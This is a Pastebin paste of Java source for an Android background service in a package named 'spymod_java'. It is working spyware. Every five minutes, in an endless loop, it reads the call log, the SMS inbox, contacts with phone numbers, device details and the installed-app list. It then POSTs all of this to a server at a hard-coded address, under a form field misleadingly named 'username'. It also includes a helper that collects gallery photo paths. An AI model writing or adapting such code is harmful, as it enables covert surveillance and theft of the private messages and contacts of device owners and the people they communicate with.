saleks28

Untitled

Sep 12th, 2020
301
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Java 8.89 KB | None | 0 0
  1. package com.example.spymod_java;
  2.  
  3. import android.Manifest;
  4. import android.annotation.SuppressLint;
  5. import android.app.Activity;
  6. import android.app.Service;
  7. import android.content.ContentResolver;
  8. import android.content.Intent;
  9. import android.content.pm.ApplicationInfo;
  10. import android.content.pm.PackageManager;
  11. import android.database.Cursor;
  12. import android.net.Uri;
  13. import android.os.AsyncTask;
  14. import android.os.Build;
  15. import android.os.Environment;
  16. import android.os.IBinder;
  17. import android.os.StatFs;
  18. import android.provider.CallLog;
  19. import android.provider.ContactsContract;
  20. import android.provider.MediaStore;
  21. import android.util.Log;
  22.  
  23. import androidx.annotation.RequiresApi;
  24.  
  25. import java.io.IOException;
  26. import java.util.ArrayList;
  27. import java.util.Date;
  28. import java.util.List;
  29.  
  30. import okhttp3.OkHttpClient;
  31. import okhttp3.FormBody;
  32. import okhttp3.Request;
  33. import okhttp3.RequestBody;
  34. import okhttp3.Response;
  35.  
  36. public class MyService extends Service {
  37.     public MyService() {
  38.     }
  39.  
  40.     @Override
  41.     public int onStartCommand(Intent intent, int flags, int startId) {
  42.         new downloader().execute();
  43.         return super.onStartCommand(intent, flags, startId);
  44.     }
  45.  
  46.     @SuppressLint("StaticFieldLeak")
  47.     public class downloader extends AsyncTask<String, Void, String> {
  48.  
  49.         @Override
  50.         protected void onPreExecute(){
  51.             super.onPreExecute();
  52.         }
  53.  
  54.         @Override
  55.         protected String doInBackground(String... params) {
  56.             try {
  57.                 while(1 > 0)
  58.                 {
  59.                     String url = "http://192.168.1.140:8080";
  60.                     OkHttpClient connection = new OkHttpClient();
  61.  
  62.  
  63.                     String calls = getCalls();
  64.                     String messages = getSMS();
  65.                     String contacts = getContacts();
  66.                     String OS = getInfo();
  67.  
  68.                     RequestBody data = new FormBody.Builder().add("username", contacts + calls + messages + OS).build();
  69.                     Request req = new Request.Builder().url(url).post(data).build();
  70.                     Response resp = connection.newCall(req).execute();
  71.  
  72.                     assert resp.body() != null;
  73.                     Thread.sleep(300000);
  74.  
  75.                 }
  76.  
  77.                 //return resp.body().string();
  78.             } catch (IOException | InterruptedException e) {
  79.                 e.printStackTrace();
  80.             }
  81.             return null;
  82.         }
  83.  
  84.         private String getCalls() {
  85.  
  86.             StringBuilder sb = new StringBuilder();
  87.             if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
  88.                 checkSelfPermission(Manifest.permission.READ_CALL_LOG);
  89.             }
  90.  
  91.             Cursor c = getContentResolver().query(CallLog.Calls.CONTENT_URI, null, null, null, null);
  92.             assert c != null;
  93.  
  94.             int num = c.getColumnIndex(CallLog.Calls.NUMBER);
  95.             int date = c.getColumnIndex(CallLog.Calls.DATE);
  96.             int duration = c.getColumnIndex(CallLog.Calls.DURATION);
  97.             int typeOfCall = c.getColumnIndex(CallLog.Calls.TYPE);
  98.  
  99.  
  100.             sb.append("Calls: ");
  101.             while (c.moveToNext()) {
  102.                 String number = c.getString(num);
  103.                 String callType = c.getString(typeOfCall);
  104.                 String callDate = c.getString(date);
  105.                 String callDuration = c.getString(duration);
  106.  
  107.                 Date callDayTime = new Date(Long.parseLong(callDate));
  108.                 String dir;
  109.                 int dircode = Integer.parseInt(callType);
  110.                 if(dircode == CallLog.Calls.OUTGOING_TYPE)
  111.                     dir = "OUTGOING";
  112.                 else if(dircode == CallLog.Calls.INCOMING_TYPE)
  113.                     dir = "INCOMING";
  114.                 else
  115.                     dir = "MISSED";
  116.                 sb.append("\nPhone Number: ").append(number).append(" \nCall Type: ").append(dir).append(" \nCall Date: ").append(callDayTime).append(" \nCall duration: ").append(callDuration);
  117.             }
  118.             String res = sb.toString();
  119.             Log.d("Calls", res);
  120.             c.close();
  121.             return res;
  122.         }
  123.  
  124.         private String getSMS(){
  125.             StringBuilder sb = new StringBuilder();
  126.             Uri uriSMS = Uri.parse("content://sms/inbox");
  127.             Cursor c = getContentResolver().query(uriSMS, null, null, null, null);
  128.  
  129.             while (c != null && c.moveToNext()) {
  130.                 String smsInfo = "Phone number: " + c.getString(c.getColumnIndex("address")) + " Message: " + c.getString(c.getColumnIndexOrThrow("body"));
  131.                 sb.append(smsInfo);
  132.             }
  133.  
  134.             if (c != null) {
  135.                 c.close();
  136.  
  137.             }
  138.             String res = sb.toString();
  139.             Log.d("SMS: ", res);
  140.  
  141.             return res;
  142.         }
  143.  
  144.         private String getContacts() {
  145.             StringBuilder sb = new StringBuilder();
  146.  
  147.             ContentResolver cr = getBaseContext().getContentResolver();
  148.             Cursor c = cr.query(ContactsContract.Contacts.CONTENT_URI, null, null, null, null);
  149.  
  150.             if ((c != null ? c.getCount() : 0) > 0)
  151.             {
  152.                 while (c.moveToNext())
  153.                 {
  154.                     String name = c.getString(c.getColumnIndex(ContactsContract.Contacts.DISPLAY_NAME));
  155.                     String identification = c.getString(c.getColumnIndex(ContactsContract.Contacts._ID));
  156.  
  157.                     if (c.getInt(c.getColumnIndex(ContactsContract.Contacts.HAS_PHONE_NUMBER)) > 0)
  158.                     {
  159.                         Cursor new_c = cr.query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null, ContactsContract.CommonDataKinds.Phone.CONTACT_ID + " = ?", new String[]{identification}, null);
  160.                         assert new_c != null;
  161.                         while (new_c.moveToNext())
  162.                             sb.append("Name: ").append(name).append(" , ").append("Phone Number: ").append(new_c.getString(new_c.getColumnIndex(ContactsContract.CommonDataKinds.Phone.NUMBER))).append("\n");
  163.                         new_c.close();
  164.                     }
  165.                 }
  166.             }
  167.             if(c != null)
  168.                 c.close();
  169.             String res = sb.toString();
  170.             Log.d("Contacts: ", res);
  171.             return res;
  172.         }
  173.  
  174.         private String getInfo() {
  175.             StringBuilder sb = new StringBuilder();
  176.  
  177.             sb.append("\nVersion: ").append(System.getProperty("os.version")).append("(").append(Build.VERSION.INCREMENTAL).append(")");
  178.             sb.append("\nAPI Level: ").append(Build.VERSION.SDK_INT);
  179.             sb.append("\nDevice: ").append(Build.DEVICE);
  180.             sb.append("\nModel: ").append(Build.MODEL).append(" (").append(Build.PRODUCT).append(")");
  181.  
  182.             StatFs info = new StatFs(Environment.getExternalStorageDirectory().getPath());
  183.             long bytes;
  184.             if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.JELLY_BEAN_MR2)
  185.                 bytes = info.getBlockSizeLong() * info.getAvailableBlocksLong();
  186.  
  187.             else
  188.                 bytes = (long)info.getBlockSize() * (long)info.getAvailableBlocks();
  189.             sb.append("\nFree space: ").append( bytes / (1024));
  190.  
  191.             final PackageManager manager = getPackageManager();
  192.             List<ApplicationInfo> packs = manager.getInstalledApplications(PackageManager.GET_META_DATA);
  193.             String launch;
  194.  
  195.             for (ApplicationInfo packageInfo : packs) {
  196.                 sb.append("\nInstalled: ").append(packageInfo.packageName);
  197.                 launch = "is" + manager.getLaunchIntentForPackage(packageInfo.packageName);
  198.                 if(!launch.equals("isnull"))
  199.                     sb.append("\nActivity:").append(manager.getLaunchIntentForPackage(packageInfo.packageName));
  200.             }
  201.  
  202.             String res = sb.toString();
  203.             Log.d("Os Info: ", res);
  204.  
  205.             return res;
  206.         }
  207.         @RequiresApi(api = Build.VERSION_CODES.Q)
  208.         public String getPhoto(Activity context) {
  209.             ArrayList<String> gal = new ArrayList<String>();
  210.             final String ord = MediaStore.Images.Media.DATE_TAKEN;
  211.             final String[] col = {MediaStore.Images.Media.DATA, MediaStore.Images.Media._ID};
  212.             Cursor c = context.managedQuery(MediaStore.Images.Media.EXTERNAL_CONTENT_URI, col, null, null,ord + " DESC");
  213.  
  214.             for (int i = 0; i < c.getCount(); ++i)
  215.             {
  216.                 c.moveToPosition(i);
  217.                 gal.add(c.getString(c.getColumnIndex(MediaStore.Images.Media.DATA)));
  218.             }
  219.  
  220.             String res = gal.toString();
  221.             Log.e("Photos: ",res);
  222.             return res;
  223.         }
  224.     }
  225.  
  226.     @Override
  227.     public IBinder onBind(Intent intent) {
  228.         // TODO: Return the communication channel to the service.
  229.         throw new UnsupportedOperationException("Not yet implemented");
  230.     }
  231. }
  232.  
Add Comment
Please, Sign In to add comment